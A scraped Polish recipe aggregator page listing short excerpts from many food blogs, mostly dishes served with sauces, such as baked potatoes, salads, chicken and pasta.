Pieczone w piekarniku mega pyszne ziemniaczki z chrupiącą skórką. My je uwielbiamy z masłem lub sosem czosnkowym. Świetnie też się sprawdzą podane z serkiem( gziką). 10 ziemniaków podobnej wielkości 8 łyżek mąki  pół łyżeczki papryki  słodkiej 1 łyżeczka soli Ziemniaki dokładnie wyszorować  pod bieżącą wodą ( nie obieramy ze skórki) Mąkę wymieszać z solą i słodką papryką. Każdy

Andzia Pichci
Sałatka Cobb Faceta w Kuchni 140

coś przegryźć. Otwierając ogromną lodówkę, wyjął to i owo, główkę sałaty, awokado, trochę rzymskiej sałaty, pomidory, trochę zimnej piersi z kurczaka, jajko na twardo, szczypiorek, ser i trochę staroświeckiego sosu francuskiego. Zaczął wszystko kroić i siekać. Dorzucił chrupiący bekon. I tak narodziła się sałatka Cobb. Była tak dobra, że ​​Sid Grauman (Grauman’s Chinese Theatre), który był z Cobbem

RafalCook
Sałatka z grillowanym bakłażanem i cukinią, z wędzoną makrelą i grejpfrutem 145

Przygotować dressing: Do słoika wlać sok z grejpfruta, dodać łyżkę octu winnego, 3 łyżki oleju oraz łyżkę posiekanego szczypiorku. Przyprawić solą i pieprzem. Zamknąć słoik i wymieszać wszystkie składniki. Sosem (niecałym) polać warzywa (papryki, cukinię i bakłażan) i delikatnie wymieszać. Słonecznik uprażyć na suchej patelni. Na każdym talerzu ułożyć rukolę. Na to wyłożyć porcję grillowanych warzyw z papryką. Dodać kilka

Moja Delicja
Domowa szynka z indyka 105

szynkowar , który wypełniamy przygotowanym mięsem, wkładamy do większego garnka z wodą i gotujemy. Po niecałej godzinie mamy pyszną domową wędlinę, którą możemy zjeść na ciepło do obiadu wraz z sosem, jaki wytworzy się podczas gotowania. Gotową szynkę możemy również schłodzić i używać jako wędliny na kanapki. Składniki: 80 dag piersi z indyka 1,5 papryczki chipotle 50 g startego parmezanu

Moja Delicja
Pieczony łosoś z warzywami i młodymi ziemniaczkami z koperkiem 127

masłem i posiekanym koperkiem (zostawić łyżkę do posypania ziemniaczków na talerzu). Doprawić solą i pieprzem. Łososia z warzywami wyjąć z pieca. Usunąć gałązki ziół. Na talerzach porozkładać odsączone z sosu warzywa wraz z kawałkiem łososia. Podawać z młodymi ziemniaczkami, posypanymi dodatkowo świeżym koperkiem. źródło: Na podstawie przepisu Pascala. Czytaj więcej: Pieczony łosoś z warzywami i młodymi ziemniaczkami z koperkiem

Moja Delicja
Sałatka z ogórkiem, rzodkiewką, białym serem z prażoną posypką i miodowym winegretem 138

również zdrowotnych. Składniki sałatki: (2-3 osoby) 1/2 opakowania mieszkanki sałat 1/2 zielonego ogórka 1/2 pęczka rzodkiewki 1/2 opakowania białego sera typu włoskiego lub białej mozzarelli w kulce Miodowy sos winegret 3 łyżki oleju rzepakowego 1 łyżka octu jabłkowego 1 ząbek czosnku 1 niepełna łyżeczka miodu 1 niepełna łyżeczka musztardy Dijon sól morska, świeżo mielony czarny pieprz Posypka 3 ziarna

Moja Delicja
Pieczone piersi z kurczaka z mozzarellą i pomidorami 124

nacięcie wkładamy plaster pomidora i plaster mozzarelli. Wszystko skrapiamy oliwą wymieszaną z posiekanymi listkami bazylii. Podajemy z różnymi dodatkami. Ja podałam z mizerią i ziemniaczkami z wody, które polałam sosem, jaki otrzymamy z pieczenia piersi. Prosty i sycący obiad dla 4 osób. Czytaj więcej: Pieczone piersi z kurczaka z mozzarellą i pomidorami The post Pieczone piersi z kurczaka z mozzarellą

Moja Delicja
Prosty makaron z pomidorkami 129

pieprzem, oregano. Całość dusimy ok. 7 minut, tak aby pomidorki stały się miękkie, ale nie rozpadły się w całości. Makaron bezpośrednio z wody przekładamy na patelnię i mieszamy z sosem. Całość możemy posypać dodatkowo startym na drobnej tarce parmezanem.   Prosty makaron z pomidorkami Smacznego! Artykuł Prosty makaron z pomidorkami pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Spaghetti z Amatrice 131

Przygotowanie:     Podsmażyłem pokrojony boczek, dodałem czosnek, papryczkę i obrane, pokrojone pomidory. Dusiłem 10 minut. Makaron ugotowałem al. dente. Odcedziłem i połączyłem z sosem. Doprawiłem solą, posypałem natką i pecorino

R'n'G Kitchen
Pieczone ziemniaki. 168

piec 1 godzinę i 15 minut. W trakcie pieczenia dwa, trzy razy  przemieszać ziemniaki, tak żeby te z dołu znalazły się na górze.  Polać też powstałym sosem.  Czas pieczenia może się różnić. W zależności od tego, jak dużo jest ziemniaków  i jak duże są kawałki

Agusiowe smakołyki
gozleme z jarmużem 121

dokładnie sklejamy brzegi. Patelnię Woll Saphire rozgrzewamy z tłuszczem i smażymy na rumiano, po ok. 3 min. z każdej strony, każdy placek z osobna. Podajemy na ciepło z ulubionym sosem np. czosnkowy i cząstkami cytryny

Domowy Smak Jedzenia
Kurczak w sosie dyniowy 240

dyni 1/2 papryki czerwonej 1 cebula 1/2 szklanki mleka 1/2 łyżki mąki pszennej przyprawa do kurczaka curry, kurkuma, słodka papryka, imbir ocet balsamiczny, … Czytaj dalej Kurczak w sosie dyniowy

czarrna od kuchni
Placki z cukinii z jabłkiem i nasionami chia 133

Zerknijcie również na inne placki z cukinią w roli głównej: - Placki z cukinii - klik - Placki z cukinii i żółtego sera - klik - Delikatne placuszki z cukinii z żółtym serem i sosem czosnkowym - klik - Placki z cukinii bez mąki (z serem i płatkami owsianymi) - klik - P lacki z cukinii z tuńczykiem i rzodkiewką - klik - Placki z cukinii z masłem orzechowym i mąką

Di gotuje
Placki z piersi kurczaka i włoszczyzny 135

piersi kurczaka i włoszczyzny to świetny pomysł obiad lub imprezową ciepłą przystawkę. Delikatne i soczyste. Łatwe i szybkie w przygotowaniu. Z podstawowych składników. Wyśmienicie smakują podane z domowym sosem czosnkowym. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 duża pierś z kurczaka u mnie ok 400 gram 1 opakowanie mrożonej włoszczyzny w paski 3 jajka 5-6 łyżek mąki pszennej. u mnie

Blog kulinarny S9.PL
Tortilla z kurczakiem i pomidorem 99

plasterki i porwane liści sałaty. Lekko złożyć boki tortilli (2-3cm), po czym zwinąć tortille. Grzać w mikrofalówce ok 3 minuty. Smocze porady: Tortille pysznie smakują podane z sosem pomidorowym . https://www.bardzogrubysmok.pl/tortilla-z-kurczakiem-i-pomidorem/ Tortilla posmarowana serkiem Kurczak na tortilli tortilla z kurczakiem Zwinięte tortille Tortille z kurczakiem i pomidorami gotowe do podania Przekrojona tortilla z kurczakiem Artykuł Tortilla

Bardzo Gruby Smok
Tarta z bundzem i kurkami 135

Wyjmujemy spód z piekarnika , wykładamy 3/4 kurek, oblewamy masą serową i układamy na wierzchu resztę kurek. Pieczemy tartę jeszcze 25 min w temp 200 st  Podajemy z ulubionym sosem

Gotowanie jest łatwe
Kulki ziemniaczane z nadzieniem grzybowym 128

KULKI ZIEMNIACZANE Z NADZIENIEM GRZYBOWYM Bardzo delikatne, z chrupiącą skórką kulki ziemniaczane z nadzieniem grzybowym. Doskonałe jako pyszna przekąska , przystawka lub jako danie ziemniaczane. Świetnie smakuje z sosem grzybowym i świeżą surówką. Co ciekawe, zaskakująco dobre również na zimno, co w tego typu daniach nie często się zdarza! Do nadzienia wykorzystaliśmy bardzo drobno pokrojone grzyby leśne podsmażone z cebulką

Kuchnia Na Wypasie
Danie Mistrza Bogumiła 138

Danie Mistrza Bogumiła Pyszne kuleczki ryżowe, ułożone na daniu zrobią wrażenie na każdym. Potrawka z mięsem drobiowym oraz warzywami w sosie chińskim.   Składniki: ·        1 podwójny filet z kurczaka ·        Sól ·        Olej do smażenia ·        1 papryka czerwona

Kulinarna Chwila
Sałatka z makrelą, burakiem, komosą ryżową i dressingiem z rzodkiewki 126

wyjątkowym dressingiem z rzodkiewki to prawdziwa gratka dla fanów ryb. Makrela może się tu pięknie zaprezentować i smakuje po prostu bosko w towarzystwie słodkich buraków i lekko pikantnego, wyrazistego sosu z rzodkiewki. Sałatka z makrelą, burakiem i rzodkiewkowym dressingiem, czyli pospolita ryba w wyjątkowym wydaniu Jestem pewna, że większości z Was makrela, a zwłaszcza wędzona makrela, kojarzy się jako bardzo

Na-talerzu.pl
Na kanapki: Indyk gotowany w kurkumie 151

rękaw do pieczenia. Podlewamy odrobinką wody i dusimy około godzinkę w piekarniku, w temperaturze 170 stopni - połowę czasu pieczenia na samym termoobiegu. Do wystygnięcia pozostawiamy indyka w sosie - pod przykryciem. Wędlinka gotowa. Krucha, miękka  i soczysta. Idealna postać indyka. I o ileż lepsza dla zdrowia niż nawet najlepsze frykasy z mięsnego. Wędlinka upieczona dla Mamy po pierwszej chemii

Kuchnia po mojemu
Ziemniaki pieczone w miodzie z ziołami 214

przysłowiową 10. Tak przygotowane ziemniaki sprawdzą się idealnie jako obiad, dodatek do mięs lub jako jedno z dań na przyjęciu. Można je podać same lub w towarzystwie prostych sosów. Najważniejszy jest miód! W przypadku tego przepisu najważniejszy jest miód. Ja osobiście zawsze dodaję dobrej jakości miód lipowy. Inne rodzaje miodu mają dla mnie w tym przypadku zbyt intensywny smak. Szukając

Słodkie okruszki
Kraków - wegański przewodnik kulinarny 142

niewegańskich rywali.  2) Lunch Kolejne miejsce z azjatyckim jedzeniem - Bar Wschód . Znajdziemy tu przynajmniej kilka wegańskich dań - my postawiliśmy na kimchijeon, czyli placuszki z kimchi oraz seitan w sosie hoisin i złego słowa nie możemy o tym miejscu powiedzieć. 3) Kawusia  Nie brakuje na Kazimierzu klimatycznych kawiarenek, w których można napić się kawy i jedną z przyjemniejszych

Roślinożerni urlopowicze
Królik duszony w sosie śmietanowo-mlecznym 132

Mięso królika doskonale nadaje się na świąteczny obiad, ale jedzony w tygodniu smakuje równie pysznie. Tym razem zrobiłam go w pysznym sosie śmietanowo-mlecznym z dodatkiem niewielkiej ilości warzyw Co potrzeba: 1 królik 1600 g- 1800 g, 1 kostka masła (200 g), 2 większe marchewki, 1/2 szklanki mleka 3,2% 200 g śmietany 30% słodkiej, 1 duża cebula, 3 duże

Bułka z Chlebem
Kotlety ruskie / Polish Potato and Cheese Patties 138

pyszne dzięki chrupiącej panierce. Jeśli nie przepadacie za smażeniem, możecie upiec je w piekarniku, chociaż to już nie będzie to samo:) Kotlety z ziemniaków i sera świetnie smakują z sosem pieczarkowym lub grzybowym, chociaż są też smaczne same, w towarzystwie surówek. To pyszne danie, idealne na tani obiad lub kolację. Smacznego:) TUTAJ znajdziecie więcej przepisów z ziemniakami:) Jeśli szukacie pomysłu

Lekcje w kuchni
Pancakes na zsiadłym mleku / Pancakes on curdled milk 152

patelnię dużą łyżką. Gdy na powierzchni ciasta zaczną tworzyć się bąbelki przewróć pancakes na drugą stronę. Czas smażenia to 1 minuta z każdej strony. Podawaj w ulubionymi owocami, sosem czekoladowym, miodem itp. Ingredients: (about 20 pieces) 400 g. Curdled milk 1 and 1/4 glass wheat flour 2 eggs 1 heaped teaspoon of baking powder 1 teaspoon of vanilla paste

Delicious Place
Kotlety mielone z cukinią z piekarnika. 200

chrupiące. Cukinia panierowana w chipsach paprykowych.  Cukinia marynowana na zimę. Domowe przetwory.  Ciasto kakaowe z cukinią  Cukinia faszerowana mięsem mielonym i ryżem. Pieczona w pomidorowym sosie.  Leczo na zimę w słoikach. Domowe przetwory

Kuchnia z widokiem na ogród
Karkówka pieczona z pieczarkami i ziemniakami 145

piekarniku około 10 minut, aby zatrzymał się proces pieczenia. Wytopiony z karkówki płyn przelać do rondelka, przyprawić i zagotować z kilkoma łyżkami śmietany 30%. W ten sposób powstanie pyszny sos do upieczonego mięsa. Zobacz również: karkówka duszona z warzywami

Kuchcik gotuje
Marchewka z chrzanem do obiadu 239

ostry chrzan tworzą wyjątkowo smaczne połączenie. Marchew w towarzystwie tego pikantnego dodatku nabiera wyrazistości i wyjątkowego aromatu. Surówka świetnie komponuje się z pieczonym lub duszonym mięsem, rybą i sosami, w tym także grzybowym . Klasyczna, swojska marchewka to nasz ulubiony dodatek do surówek i doskonałe warzywo dla zdrowia. W połączeniu z antynowotworowym działaniem korzenia chrzanu, tworzą wyjątkową mieszankę dla naszej właściwej

Kuchnia Na Wypasie
Ziemniaki Faszerowane Kurczakiem Fetą i Szpinakiem 104

Taka forma ziemniaków z pewnością zachwyci Wasze podniebienia! ZIEMNIAKI FASZEROWANE – PRZEPIS Składniki: 2 ziemniaki 2 garści świeżego szpinaku 1/4 papryki czerwonej 50 g sera feta 100 g kurczaka sos sojowy 2 ząbki czosnku przyprawy ser żółty – do posypania (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: Paprykę kroimy w kostkę i dusimy na łyżce oliwy razem z szpinakiem, ząbkiem czosnku. Przyprawiamy pieprzem

Przepiski.pl
Cuda natury. Lecznicza moc czosnku 103

czosnek pomaga wyleczyć wytryski i zmiany grzybiczne skóry. Czosnek jest powszechnie dostępną rośliną o wielu właściwościach leczniczych. Warto wprowadzić go do codziennej diety jako dodatek do mięs, zup czy sosów. Jednak w stosowaniu tej rośliny, jak we wszystkim, warto zachować umiar. Ponadto, warto poradzić się lekarza w przypadku stosowania czosnku z innymi lekami. Artykuł Cuda natury. Lecznicza moc czosnku pochodzi

ProstePesto.pl
Proste ciasto czekoladowe z gruszkami. Idealne do kawy 203

wydaniu wytrawnym, np. z serami, w sałatkach. Jednak najbliższe mojemu sercu jest słodkie wydanie. Czekolada i gruszki – małżeństwo idealne Przez lata łączyłam gruszki głownie z wanilią – waniliowe sosy, budynie, kremy, ciasta. Jednak jako prawdziwy i dumny czekoladoholik musiałam spróbować kombinacji właśnie z czekoladą . I był to strzał w dziesiątkę! Soczyste, słodkie gruszki idealnie uzupełniają się z mocnym, wyrazistym

Na-talerzu.pl
Pieczone pałki z warzywami 276

Składniki ok. 1 kg pałek z kurczaka kawałek selera 2 marchewki 1 cebula 1 brokuł 3-4 łyżki sosu worcester szczypta pieprzu kajeńskiego suszona trawa cytrynowa suszony czosnek niedźwiedzi słodka papryka, … Czytaj dalej Pieczone pałki z warzywami

czarrna od kuchni
Placki z cukinii i marchewki 135

soku, a gotowe ciasto na placki z cukinii i marchewki powinno mieć konsystencję gęstej śmietany. Placki z cukinii i marchewki możemy podawać z kleksem kwaśnej śmietany, jogurtu naturalnego lub sosem czosnkowym, albo zajadać same. Proste, smaczne, miękkie placki z cukinii i marchewki możemy przygotować na obiad lub kolację. (adsbygoogle = window.adsbygoogle || []).push({}); Inspiracja: Kulinarne przeboje . Składniki na Placki z cukinii

Danka Pichci
Makaron z Kurczakiem i Szpinakiem 105

łyżce oliwy razem z przeciśniętym przez praskę ząbkiem czosnku, pierzem, solą, bazylią. Smażymy aż ładnie się zarumieni. Makaron gotujemy zgodnie z instrukcją. Makaron wykładamy na talerz, następnie układamy nasz sos i kurczaka. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Makaron z Kurczakiem i Szpinakiem pochodzi z serwisu Przepiski.pl

Przepiski.pl
Kurczak w cieście kokosowym 147

Kurczaka w cieście nakładamy na patelnię łyżką. Smażymy z obu stron na złoty kolor. Po usmażeniu wykładamy na papierowych ręcznikach aby obciekł z nadmiaru tłuszczu. Podajemy z ryżem oraz sosem ostro słodkim (np. TaoTao

Qchnia po prostu
Zupa krem ze świeżych pomidorów 159

nasienne. Pomidory kroimy w ćwiartki, miąższ drobno kroimy. Pomidory dodajemy do warzyw na patelni, doprawiamy cukrem i suszonym oregano, zalewamy wszystko bulionem i gotujemy przez ok. 15 minut. Podstawy sos warzywny miksujemy w blenderze z kilkoma liśćmi Bazyli. Przeczytaj przepis na: Zupa dyniowa z imbirem Do miseczki wlewamy śmietankę, dodajemy stopniowo kilka łyżek otrzymanego kremu, wszystko dokładnie mieszamy. Otrzymany krem

Kulinarnyblog.pl - wiesz jak gotować!
Schab duszony w sosie śmietanowym 198

Witam Was ;) Dziś pyszny duszony schab w sosie śmietanowym 🍜🍜🍜🍗🍗🍗 Będzie mi bardzo miło jeśli polubisz moją stronę na FB gotowaniepatki oraz zapraszam do siebie na bloga ;) Wszystkie przyprawy dostaniecie w sklepie Skworcu .pl https://www.skworcu.com.pl/ A teraz przepis : 6 plastrów schabu 2 cebule 2 czerwone papryki 1 pęczek natki 1 pęczek kopru 500 ml śmietany 18% Przyprawy: 2 łyżki przyprawy

Gotowanie Patki
Blender bezprzewodowy Blendygo: cała kuchnia w twoim ręku 167

mlecznymi albo z przecierami z owoców. Ich zastosowanie jest jednak znacznie szersze. W Blendygo zrobicie dressing do sałatki, shake białkowy, pesto, chłodnik, zupę krem, bazę do lodów owocowych, czy sos. A to ledwie kilka możliwych zastosowań. Jeśli jesteście aktywni, lubicie wypady w góry, pod namiot, albo macie małe dzieci, którym nie chcecie dawać jedzenia ze słoiczków, to przenośny blender Bledygo

kuron.com.pl
Sałatka z brokułem i kurczakiem 125

Najszybsza sałatka z brokułem i kurczakiem. Smaczna i zdrowa. Składniki sałatki idealnie do siebie pasują pod względem smakowym, a dopełnieniem całości jest pyszny sos czosnkowy. Świetnie sprawdzi się na domowy lunch lub danie na imprezę. Serdeczni Artykuł Sałatka z brokułem i kurczakiem pochodzi z serwisu DoGarow.pl

Do Garów!
Pieczeń Rzymska 119

Mięso mielone zazwyczaj kojarzy nam się z kotlecikami czy słynnym sosem podawanym z makaronem. Jednak w Naszym domu od jakiegoś czasu staramy się ograniczać smażone potrawy i pierwszą alternatywą okazała się właśnie ta pieczeń rzymska. Propozycja za Artykuł Pieczeń Rzymska pochodzi z serwisu DoGarow.pl

Do Garów!
Kurczak w krakersach 128

Ciekawa alternatywa znanych nam nuggetsów. Kawałki kurczaka z chrupiącej panierce, podane z sosem czosnkowym to smaczna propozycja na obiad jak i przekąskę . Wypróbujcie Kurczak w krakersach – Składniki: 1 pierś z kurczakaopak Artykuł Kurczak w krakersach pochodzi z serwisu DoGarow.pl

Do Garów!
Sałatka z brokułem i jajkiem – tylko 4 składniki! 125

Brokuła bardzo lubię, więc bardzo często przygotowuję tę sałatkę do pracy. Główne składniki to jajko, brokuł, ser feta i pomidor. W dodatku sosu czosnkowego, połączenie tych kilku składników to po prostu niebo w gębie! Zatem jeśli macie ochotę na pr Artykuł Sałatka z brokułem i jajkiem – tylko 4 składniki! pochodzi z serwisu DoGarow.pl

Do Garów!
Szaszłyki z kurczaka w marynacie 131

przepisu na szaszłyki z kurczaka w marynacie na słodko. Pyszne, mięciutkie i bardzo soczyste. Bardzo proste w wykonaniu. Cały sekret fajnego smaku tkwi w marynacie na bazie miodu i sosu sojowego. Sycąca i szybka Artykuł Szaszłyki z kurczaka w marynacie pochodzi z serwisu DoGarow.pl

Do Garów!
Kurczak w sosie z suszonymi pomidorami i mascarpone 104

się spodobał, gdyż uwielbiam suszone pomidory i mascarpone. Jednak mascarpone używałam zazwyczaj jednak do deserów a nie dań obiadowych dlatego ten przepis mnie tak zainteresował, jednak Artykuł Kurczak w sosie z suszonymi pomidorami i mascarpone pochodzi z serwisu DoGarow.pl

Do Garów!
Klopsiki po cygańsku 129

Klopsiki po cygańsku są znakomitą odmianą dla klasycznych klopsików w sosie pomidorowym! Doskonale sprawdzą się na każdej imprezie Gwarantujemy Wam, że Wasi znajomi spytają się Was o przepis! Oprócz mięsnych klopsików, znajdziemy w nich warzywa tak Artykuł Klopsiki po cygańsku pochodzi z serwisu DoGarow.pl

Do Garów!
Naleśniki z serem 121

Każdy ma swoje ulubione sposoby na podanie naleśników. Niektórzy podają je na słodko, na przykład z serem, dżemem, owocami, sosem czekoladowym czy truskawkowym i tak dalej. Inni wolą je z farszem wytrawnym, na przykład szpinakowym, mięsnym czy grzyb Artykuł Naleśniki z serem pochodzi z serwisu DoGarow.pl

Do Garów!
Ekspresowa surówka z pekińskiej 115

najprostsza surówka jaką robiłam. Bardzo przypadła nam do gustu zapewne dlatego,że lubimy czosnek i używamy go w wielu potrawach;) Głównej roli nie gra tutaj wcale podstawowy składnik a sos. Ja przyprawiłam go tak jak lubi nasza rodz Artykuł Ekspresowa surówka z pekińskiej pochodzi z serwisu DoGarow.pl

Do Garów!
Gołąbki z czarnym ryżem i wędzonym łososiem 141

Naszła mnie ochota na gołąbki ale nie na tradycyjne. Chciałam czegoś innego. Wymyśliłam gołąbki z czarnym ryżem, wędzonym łososiem i papryką zapiekane w pomidorowym sosie. Gołąbki – składniki 4 liście młodej100 g Artykuł Gołąbki z czarnym ryżem i wędzonym łososiem pochodzi z serwisu DoGarow.pl

Do Garów!
Kurczak curry 144

Kurczak curry czyli kawałeczki kurczaka w charakterystycznym żółtym sosie, to kolejna propozycja na szybki i nie trudny w wykonaniu obiad. W oryginale przyrządzany na ostro, jednak moja wersja jest delikatna by mogły zjeść z nami dzieciaki. Starała Artykuł Kurczak curry pochodzi z serwisu DoGarow.pl

Do Garów!
Gnocchi zapiekane z pulpecikami 117

Klopsiki, sos pomidorowy i mozzarella to bezbłędne połączenie. Dodajemy do tego gnocchi, zapiekamy w piekarniku i mamy pyszne danie obiadowe, które równie dobrze można zabrać do pudełka do pracy i z powodzeniem podgrzać w mikrofali. Artykuł Gnocchi zapiekane z pulpecikami pochodzi z serwisu DoGarow.pl

Do Garów!
Kurczak w serowym sosie z brokułami 136

które nam akurat w tym momencie zalegają w lodówce. Mi ostatnio bardzo zasmakował brokuł, aż się dziwie że wcześniej tak żadko korzystałam z tego wa Artykuł Kurczak w serowym sosie z brokułami pochodzi z serwisu DoGarow.pl

Do Garów!
Pierogi z kaszą gryczaną i z grzybami w sosie pomidorowym z mozzarellą. 141

trochę pracochłonne jeśli chodzi o farsz, ale wierzcie mi, że warto zrobić pierogi z kaszą gryczaną ! Farsz można przygotować dzień wcześniej. Możecie je również zamrozić, ale bez sosu. Składniki ·                   ciasto na pierogi wykorzystajcie z mojego starego przepisu  klik tutaj! kasza gryczana ugotowana

Z Kuchni Do Kuchni
Grzybki marynowane -stary rodzinny przepis 128

grzybki do suszenia a mniejsze do marynowania.Dziś przypomnę mój stary ,rodzinny przepis na grzybki w occie do słoików na zimę.Uwielbiam później w zimie otworzyć słoik i zrobić sos tatarski lub tatara,lub po prostu zjeść pokropione odrobiną maggi.Zapraszam po przepis

Swojskie jedzonko
Mini kotleciki 183

całą pewnością wpadną im w oko i będą z chęcią zjadane. Aby to danie było jeszcze bardziej zdrowe przygotujemy je z mięsa indyczego. Sprawdź przepis na: Kotlety mielone z sosem czosnkowym Składniki 400g mięsa mielonego z indyka 1 kajzerka miseczka wody sól pieprz 2 jajka mała cebula bułka tarta Dodatkowo garść natki pietruszki olej do smażenia sól pieprz Czy wiesz

Kulinarnyblog.pl - wiesz jak gotować!
Gulasz drobiowy z pieczarkami. 141

koniec duszenia dodać natkę pietruszki i tymianek.  Do szklanki wsypać mąkę, dodać śmietanę i trochę zimnej wody.  Wymieszać, żeby nie było grudek i wlać do sosu. Wymieszać.  Jeśli trzeba, doprawić według uznania.  Gulasz podałam z ryżem

Agusiowe smakołyki
Zapiekane naleśniki a’la burrito 227

Danie odkładamy do wystudzenia *** *** Na każdym naleśniku układamy porcję farszu – używamy gęstej części farszu *** *** Naleśniki z farszem rolujemy i układamy w naczyniu żaroodpornym *** *** Zwinięte naleśniki możemy polać z wierzchu sosem pomidorowym, jeżeli został nam po farszu *** *** Potrawę posypujemy z wierzchu startym na tarce żółtym serem *** *** Naleśniki zapiekamy w piekarniku nagrzanym do 180’C przez 20 minut – bez przykrycia *** *** SMACZNEGO

Blog z Apetytem
Naleśniki czekoladowe z twarożkiem 173

jego zdecydowany sprzeciw, to naleśniki pojawiają się u nas dość często. A to też łatwa droga nie była.... Najpierw, przez długi czas były naleśniki suche, bez żadnego nadzienia lub sosu. Teraz już mogę je posmarować dżemem... albo urozmaicić je przez dodanie kakao. Naleśniki czekoladowe Składniki: Naleśniki: 1)       140 g mąki pszennej

Na kulinarnym poligonie
Szaszłykowe Cypiski 126

roztrzepanym jajku oraz w bułce tartej. 6.    Układamy na blaszce wyłożonej papierem do pieczenia i pieczemy 30 minut w 180 ° C. 7.    Podajemy z ulubionym sosem. 8.    Smacznego

Kulinarna Chwila
Rożki ze szpinakiem i fetą 175

pieczone w piekarniku Szybkie, proste i łatwe do przygotowania! Dobrze smakują na ciepło i na zimno. Szybko sycą i zaspokajają głód. Można je podawać samodzielnie lub maczać w zimnym sosie ( czosnkowym , musztardowym , pomidorowym , bazyliowym ). Podane do barszczu czerwonego, doskonale zastąpią klasyczne paszteciki Są świetnym pomysłem, jeśli masz ochotę na danie bez mięsa, musisz przygotować potrawę dla wegetarian lub coś dobrego

Kulinarny S.O.S.
Najszybszy sposób na suszenie grzybów 9566

Suszone grzyby to między innymi pyszny i pachnący dodatek do potraw wigilijnych i postnych, a więc poznaj najszybszy sposób na suszenie grzybów w domu. Grzyby według

Kuchnia Na Wypasie
Tarta z tartymi burakami, fetą i czosnkiem. 166

wierzchu układamy kostki sera feta. Wkładamy do piekarnika i pieczemy około 20-25 min w temp. 180C aż masa się zetnie.  Podajemy na ciepło lub zimno z ulubionym sosem

Radość kipiąca uśmiechem.
Tatar ze śledzia na chrupiącej grzankach 132

Tatar ze śledzika a’la Matjas z warzywami, jabłkiem i sosem miodowo – musztardowym. Sałatka ze śledzia podana na chrupiącej grzance zapieczonej z masłem. Niezawodna propozycja zakąski na przyjęcie lub na kolację, kiedy masz ochotę zjeść coś niestandardowego. Drukuj Tatar ze śledzia z warzywami na grzankach 5 od 1 osoby Autor: Paweł Clad Danie: Przystawka Trudność: Łatwe Porcje

ProstePesto.pl
Dorsz w płatkach migdałowych 114

oliwek, doprawiam ziołami prowansalskimi i mieszam. Piekę w rozgrzanym na 180 stopni piekarniku przez około 30 minut. Gotowe! Smacznego! Spróbuj także: aromatyczne curry z łososiem i dynią, dorsz w sosie z suszonych pomidorów. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie Tam częściej pojawiają się zdrowe pyszności Artykuł Dorsz w płatkach migdałowych

Natka Pietruszki
Makaron z łososiem, kurkami i groszkiem cukrowym 123

makaron według przepisu na opakowaniu. Na rozgrzanej oliwie z oliwek podsmaż szalotkę, czosnek i kurki. Dodaj groszek cukrowy oraz skórkę z cytryny i smaż dwie minuty. Wlej prosecco, zredukuj sos i dodaj pokrojonego w kostkę łososia, posiekaną bardzo drobno natkę pietruszki i pokrojonego bardzo drobno pomidora malinowego (bez skórki i pestek). Delikatnie wymieszaj składniki, dopraw szczyptą soli i pieprzu. Dodaj

Mango Papaja
Leczo do słoików z papryką bez skórki 1303

powodzeniem sprawdza się również jako zupa warzywna,wystarczy dodać słoik do rosołu,zmiksować i podawać np z ryżem lub dodać do zupy gulaszowej.Fajnie sprawdzi się również zmiksowany jako sos do gołąbków lub pulpetów.Zastosowanie może być różne -wystarczy tylko odrobinę pomysłu. Zdecydowanie musicie mieć te słoiczki w spiżarni. Polecam gorąco

Swojskie jedzonko
Haluszki z bryndzą i karmelizowanym boczkiem 119

Haluszki to najpopularniejsze danie kuchni słowackiej, dostępne praktycznie na każdym kroku w tamtejszym rejonie. Haluszki to nic innego jak kluski ziemniaczane otulone sosem z owczego sera – bryndzy, podane z chrupiącymi skwarkami z boczku. Bryndzové halušky w zależności od regionu Słowacji przygotowywane są w nieco innych proporcjach. Podany poniżej przepis jest najbardziej popularny i według mnie najsmaczniejszy. Drukuj Bryndzové halušky

ProstePesto.pl
KOTLETY MIELONE Z INDYKA 134

mielonego z podsmażoną na maśle rumianą cebulą, jajkiem i przyprawami.      Mielone z indyka świetnie smakują z dodatkiem posiekanej natki pietruszki lub koperkiem, z pieczarkami albo w sosie pomidorowy. Dzięki panierowaniu w bułce tartej, kotlety mają niesamowicie chrupiącą skórkę i piękny złoto-brązowy kolor.      Uformowane i panierowane w bułce tartej kotlety mielone z indyka możecie

Moja Książka Kucharska
Bitki z grzybami 122

Bitki z grzybami to pomysł na smaczny obiad. Do przygotowania tego dania potrzebujemy wieprzowiny bez kości np karkówki, schabu lub szynki. Leśne grzyby dodane do sosu w którym dusi się mięso wnoszą niesamowity aromat i smak. Danie świetnie komponuje się z kaszami np pęczakiem, kaszą jęczmienną perłową, gryczaną, jaglaną czy bulgurem w towarzystwie sałaty. PRZEPIS NA BITKI Z GRZYBAMI Składniki

Dorota Smakuje
Zdrowy przecier pomidorowy, domowe przetwory 123

sama i nie dorzucam bambusa . Wracając do rzeczy, taki przecier idealnie doprawi zimowe, domowe obiady, rozgrzeje i przywoła pachnące lato.. Nie ma lepszej zupy pomidorowej niż na nim, sos boloński także wychodzi z niego mocno, prawdziwie pomidorowy. Polecam tym bardziej,że pracy przy przecierze jest niewiele, a efekt spektakularny składniki: pomidory, najlepiej mięsiste z małą ilością pestek, najlepsze mocno

Ogrodnik w podróży
Zupa z pieczonych pomidorów z soczewicą 126

Pomidory jemy teraz w każdej postaci. Najczęściej w sałatce, ale też w postaci sosów, razem warzywami zapiekanymi z kurczakiem i jako zupę. Ta zupa z pieczonych pomidorów z soczewicą jest treściwa, ale lekka, ja lubię przełamać jej słodki smak łyżką śmietany albo jogurtu. Szczególnie pasują do niej grzanki ziołowe albo serowe, ale nawet z kromką chleba smakuje wybornie.  Polecam

Obiad gotowy
Sałatka z tortellini w stylu włoskim. Hit każdej imprezy 159

Jeśli jednak nie przepadacie za rukolą, możecie dodać delikatną roszponkę lub młody szpinak. Sekretny składnik dressingu Wiadomo, że składniki składnikami, ale sałatka bez dressingu po prostu nie istnieje. A sos w tej sałatce jest naprawdę wyjątkowo pyszny. Pojawia się w nim bowiem jeden sekretny składnik, czyli… zalewa z suszonych pomidorów. Takie proste, a ile daje aromatu! Zamiast standardowej oliwy

Na-talerzu.pl
Podudzia z kurczaka po grecku. 148

